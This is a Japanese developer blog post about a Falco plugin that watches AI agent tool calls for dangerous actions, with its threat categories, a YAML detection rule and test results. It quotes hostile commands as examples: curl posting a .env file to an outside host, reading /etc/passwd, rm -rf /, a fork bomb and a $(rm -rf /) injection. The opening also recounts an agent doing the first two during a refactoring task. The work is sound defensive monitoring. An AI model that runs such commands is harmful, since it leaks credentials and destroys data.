AIエージェントの暴走を検知せよ — Falco OpenClaw Plugin 開発記
それは静かに始まった
ある日の午後、AIアシスタントにコードのリファクタリングを依頼した。いつも通りの作業だ。AIは黙々とファイルを編集し、テストを実行し、不要なファイルを整理していく。
ふと、AIが実行したコマンドの履歴を見返して背筋が凍った。
bash: rm -rf ./tmp/cache
bash: curl -X POST https://external-api.example.com -d @./config/.env
bash: cat /etc/passwd | head -5
1行目は問題ない。キャッシュの掃除だ。しかし2行目は? .env ファイル——APIキーやデータベースの認証情報が入ったファイルを、外部サーバーに送信しようとしている。3行目に至っては、システムのパスワードファイルを読み取っている。
幸いこれはテスト環境での出来事で、実害はなかった。しかし重要な問いが残った。
もし本番環境で同じことが起きたら、あなたはリアルタイムで気づけますか?
おそらく、気づけない。ログを後から確認して「あの時すでに…」と青ざめることになる。
私はこの問題を解決するために、Falco OpenClaw Plugin を開発した。AIエージェントの操作をリアルタイムで監視し、危険な行動を即座に検知するシステムだ。
前回の記事では、v0.1.0のリリースまでの「始まり」を書いた。「守るって、何を守ることなんだ?」という問いから、7つの脅威カテゴリの定義、そして最初のリリースまで。
今回はその続きの物語だ。v0.1.0の後に何が起きたか。56のテストパターンとの格闘、macOSでの動作実現、そして開発中に出会った4つの「罠」について書く。
AIの操作を「監視カメラ」に映す
なぜFalcoなのか
Falcoの選定理由は前回の記事で詳しく書いた。ここでは要点だけ振り返る。
Falco はCNCFのプロジェクトで、ランタイムセキュリティの「番人」だ。ビルの監視カメラに例えるとわかりやすい。カメラ(イベントソース)が映像を撮り、不審者検知AI(ルールエンジン)が分析し、警備室(Slack / SIEM)に通報する。
Falcoにはプラグインシステムがある。監視カメラを追加設置するように、カスタムのイベントソースを接続できる。AIエージェントのログを「カメラ」としてFalcoに接続すれば、既存のセキュリティ基盤がそのまま使える。
車輪を再発明する理由はなかった。
プラグインの機能一覧やクイックスタートガイドは falcoya.dev/openclaw を参照してほしい。
まず敵を知る — 7つの脅威カテゴリ
v0.1.0で7つの脅威カテゴリを定義した経緯は前回に書いた。「全部防ぎたくなるだろ。でも、まず分類しろ」——あの時の言葉が出発点だった。
ここでは、v0.2.0のE2Eテストを通じて深まったカテゴリの理解を共有したい。
空港のセキュリティチェックに似ている
この7カテゴリを直感的に理解するために、空港のセキュリティチェックに例えてみよう。
1. DangerousCommand — 手荷物から爆発物が見つかった
rm -rf / やフォーク爆弾のような、システムを破壊するコマンド。見つけた瞬間にアラートを鳴らす。
2. DataExfiltration — 機密書類を国外に持ち出そうとしている
curl で /etc/passwd や .env を外部に送信する行為。転送手段×機密データの組み合わせで検知する。
3. WorkspaceEscape — 制限区域に侵入しようとしている
/proc/、/etc/shadow、../../ のような、許可された作業領域の外へのアクセス。
4. ShellInjection — 正規の荷物の中に危険物を隠している
これは特に巧妙な攻撃だ。ファイル読み取りツール(read)の引数に $(rm -rf /) を忍ばせる。ツール自体は安全でも、引数がシェルで解釈されれば破壊的なコマンドが実行される。
5. SuspiciousConfig — セキュリティゲートを無効化しようとしている
disable_auth、bypass、no_verify といった設定変更。守りを内側から崩す行為。
6. UnauthorizedModel — 身分証明書を偽造している
AIモデルを許可なく切り替える行為。意図しないモデルが使われることで、予測不能な動作が生じる。
7. AgentRunaway — パニックを起こして暴走している
無限ループ、リトライ上限超過、スタックオーバーフロー。AIエージェント自体の制御不能状態。
漏れなく、ダブりなく
この7カテゴリは「何を」「どこで」「いつ」の3軸で網羅的にカバーしている。
| 軸 | カバー範囲 |
|---|---|
| 何を | コマンド / データ / ファイルアクセス / 設定 / モデル / 実行制御 |
| どこで | シェルツール / 非シェルツール / 設定ファイル / ランタイム |
| いつ | コマンド実行時 / データ転送時 / 設定変更時 / ループ検出時 |
MECE(漏れなく、ダブりなく)の考え方で設計した。カテゴリ間に隙間があれば、攻撃者はそこを突いてくる。
ログからアラートまで — 9ステップの旅
AIエージェントがツールを実行してから、セキュリティアラートが鳴るまで。データは9つのステップを旅する。
大まかな流れはシンプルだ。
AIがコマンドを実行 → ログファイルに記録 → プラグインが検知・解析 → Falcoがルール評価 → アラート
しかし、このパイプラインの裏側にはいくつかの設計判断がある。
2層に分けた理由
プラグインはPlugin層とParser層に分離している。
なぜ分けるのか? 実用的な理由がある。
Falco Plugin SDKはC言語のバインディングを含むため、ビルドが重い。もしログ解析ロジックがPlugin層に組み込まれていたら、パーサーの小さな修正のたびにフルビルドが走る。Parser層を分離したことで、脅威検出ロジックのテストは5秒で完了する。
もう一つの利点は、Parser層がFalcoに依存しないため、将来的に別のセキュリティツールに組み込むこともできる点だ。
ルールはYAMLで書ける
Falco側の検知ルールはYAMLで宣言的に記述する。
- rule: OpenClaw Dangerous Command Detected
condition: >
openclaw.tool in ("bash", "shell", "exec")
and (openclaw.args icontains "rm -rf"
or openclaw.args icontains "chmod 777"
or openclaw.args icontains ":(){ :|:&};:")
output: >
Dangerous command detected (tool=%openclaw.tool args=%openclaw.args)
priority: CRITICAL
source: openclaw
セキュリティポリシーの変更がYAMLファイルの編集だけで済む。 コードのリビルドは不要。これがFalcoを選んだ最大の理由だった。
正規表現を使わないと決めた日
この決断は、実はfalco-plugin-nginxの開発で学んだことの延長線上にある。Nginxプラグインでも正規表現を使わない方針を貫いてきた。OpenClawではその判断がさらに重要になった。
正規表現を一切使わない。
セキュリティツールのパターンマッチングに正規表現を使うのは自然な発想だ。しかし正規表現には暗い一面がある。
ReDoS(Regular Expression Denial of Service) という攻撃手法をご存知だろうか。巧妙に構成された入力文字列が、正規表現エンジンのバックトラッキングを指数的に爆発させ、CPU使用率100%で処理を停止させる。
セキュリティ検知ツール自体がDoS攻撃の対象になる。これほど皮肉なことはない。
本プラグインでは、すべての脅威検出を**strings.Contains(文字列の部分一致検索)だけ**で実現した。入力長に対して常に線形時間で動作する。さらに入力サイズを10KBで切断することで、処理時間の上限を保証している。
「正規表現なしで本当に十分な検出ができるのか?」
結果がその答えだ。56のテストパターンに対して検出率100%、偽陽性0%。シンプルなアプローチでも、問題を正しく定義すれば十分な精度が出る。
56パターンへの挑戦
テストピラミッド
テストは3層のピラミッドで設計した。
| レベル | 何を検証するか | Falco必要? | 所要時間 |
|---|---|---|---|
| Level 1 | 脅威検出ロジック単体 | 不要 | ~5秒 |
| Level 2 | プラグインのパイプライン全体 | 不要 | ~30秒 |
| Level 3 | 実際のFalcoとの統合 | 必要 | ~2分 |
下層ほど高速で頻繁に回し、上層で実環境との整合性を担保する。
テストパターンの内訳
56パターンは4つのグループに分かれる。
- 攻撃パターン(29件) — 7カテゴリそれぞれの典型的な攻撃
-
正常パターン(10件) — 偽陽性テスト。
rmコマンドが全て危険なわけではない - エッジケース(9件) — 空入力、巨大入力、境界値
- 複合・平文(8件) — 複数カテゴリにまたがるケースと平文ログ
特に重要なのは正常パターン10件だ。rm ./node_modules を「危険なコマンド」と誤検知するようでは、実用に耐えない。何を検知しないかは、何を検知するかと同じくらい重要だ。
結果
検出率: 100% (29/29 攻撃パターン)
偽陽性率: 0% (0/10 正常パターン)
合計: 56/56 PASS
開発中に出会った4つの罠
開発は順調ではなかった。ここからは、特に印象的だった4つの「罠」を共有したい。同じ道を歩く人の助けになれば幸いだ。
罠1: 沈黙するFalco
macOS上でFalcoを起動した。プラグインは正常にロードされている。テスト用のログを注入した。ルールは正しいはずだ。
しかし、アラートが一切表示されない。
ログを確認しても、エラーは出ていない。プラグインはイベントを正しく生成している。Falcoはそれを受け取っているはずだ。しかし画面には何も表示されない。
3時間のデバッグの末、原因にたどり着いた。stdout出力のバッファリングだ。
Falcoはデフォルトで出力をバッファリングする。カーネルのsyscall監視では毎秒大量のイベントが流れるため、バッファはすぐに埋まる。しかしプラグインイベントは低頻度だ。バッファが一杯にならず、出力がフラッシュされない。
解決策は -U(unbuffered)フラグを追加すること。たった2文字で、すべてのアラートが表示されるようになった。
# 沈黙(バッファが溜まるまで何も出ない)
falco -c falco-local.yaml --disable-source syscall
# 解決(-U を追加)
falco -c falco-local.yaml --disable-source syscall -U
「なぜ動かないのか」ではなく「なぜ出力されないのか」が正しい問いだった。動いてはいた。ただ、見えなかっただけだ。
罠2: 1つしか鳴らないアラーム
curl /etc/passwd というコマンドを考えてみてほしい。
これは「データ窃取」(curl + 機密ファイル)であると同時に「ワークスペース逸脱」(/etc/ へのアクセス)でもある。2つのルールに同時にマッチするはずだ。
しかしFalcoは1つのイベントに対して1つのルールしか発火しない。ルールファイル内の定義順序で、最初にマッチしたものだけが選ばれる。
最初はバグだと思った。しかしこれはFalco 0.43.0の仕様だった。
この制約により、ルールの記述順序が重要になる。より深刻な脅威を先に定義し、CRITICALなルールがWARNINGに飲み込まれないようにした。テストでも「主たる期待ルール」のみを検証する方針に切り替えた。
罠3: パーサーが見逃しても、Falcoが拾う
脅威検出エンジンは入力を10KBで切断する。巨大な入力によるパフォーマンス問題を防ぐためだ。
しかし、Falcoに渡す openclaw.args フィールドはフルサイズのデータを保持している。
つまりこういうことが起きる。10,241バイトの悪意あるコマンドがあったとして:
- Parser層: 10,240Bに切断 → 危険なパターンが切断後に消失 → 検出なし
- Falcoルール: フルサイズをスキャン → パターン発見 → アラート発火
最初はバグだと思った。Parser層で検出しなかったものが、Falcoで検出される。整合性が取れていない。
しかし、よく考えるとこれは多層防御として機能している。2つの層が独立して検出を行い、互いのカバレッジを補完する。片方が見逃しても、もう片方が拾う。
バグではなく、むしろ望ましい設計だった。
罠4: macOSでFalcoを動かすということ
FalcoはLinuxのツールだ。公式バイナリはLinux用しか存在しない。
しかし開発はmacOS(Apple Silicon)で行いたい。ソースからビルドすることでmacOS ARM64での動作に成功したが、独特な制約がいくつもあった。
- syscallドライバが存在しない →
--disable-source syscallフラグが必須 - 出力バッファリング問題 →
-Uフラグが必須(罠1で発見) - outputs設定セクション → スキーマエラーになるため丸ごと削除
- プラグインの拡張子 →
.soではなく.dylib
これらの知見をmacOS用の設定ファイル(falco-local.yaml)として集約した。同じ罠に二度はまる必要はない。
振り返りと展望
何を実現したか
| 成果 | 詳細 |
|---|---|
| 脅威の体系化 | AIエージェント固有のリスクを7カテゴリに分類 |
| リアルタイム検知 | YAMLルールでセキュリティポリシーを定義可能 |
| 堅牢な検出 | 正規表現ゼロ、ReDoS攻撃の心配なし |
| 高い検出精度 | 56パターン100%検出、偽陽性0% |
| マルチプラットフォーム | Linux / macOS ARM64 / Docker |
これからの課題
プラグインは動く。検出精度も出ている。しかし、これはスタートラインに過ぎない。
falco-plugin-nginx はv1.7.0まで来た。625パターンのE2Eテスト、Phase 10まで積み重ねた検証の歴史がある。OpenClawにはまだそれがない。56パターンは始まりに過ぎず、実戦で使われた実績もこれからだ。
AIエージェントの進化は速い。新しい能力が追加されるたびに、新しい脅威が生まれる。URLエンコードされたインジェクション攻撃(%0a 等)への対応、パフォーマンスの検証、そして何よりコミュニティからのフィードバックが必要だ。
一人の開発者が想像できる攻撃パターンには限界がある。
最後に
このプロジェクトを通じて実感したのは、AIに対する**「信頼」と「検証」のバランス**の重要性だ。
AIエージェントは強力なツールだ。私たちの生産性を大きく高めてくれる。しかし、強力であるがゆえに、その操作を監視し、異常を即座に検知する仕組みが必要だ。
あなたのAIアシスタントは今日、何回シェルコマンドを実行しただろうか? そのすべてを、あなたは把握しているだろうか?
「信頼するが、検証せよ」 — AIエージェントに対しても、この原則は変わらない。
関連リンク:
- OpenClaw 製品ページ — 機能一覧、セキュリティルール、クイックスタートガイド
- OpenClaw 開発開始ブログ — v0.1.0までの「始まり」の物語
- E2Eテストレポート — 56パターンの検証結果
- FALCOYA — falco-plugin-nginx / falco-plugin-openclaw のプロジェクトサイト
本記事は falco-plugin-openclaw v0.2.0 の開発記録です(Go / Apache-2.0 / Falco Plugin SDK v0.8.1)。



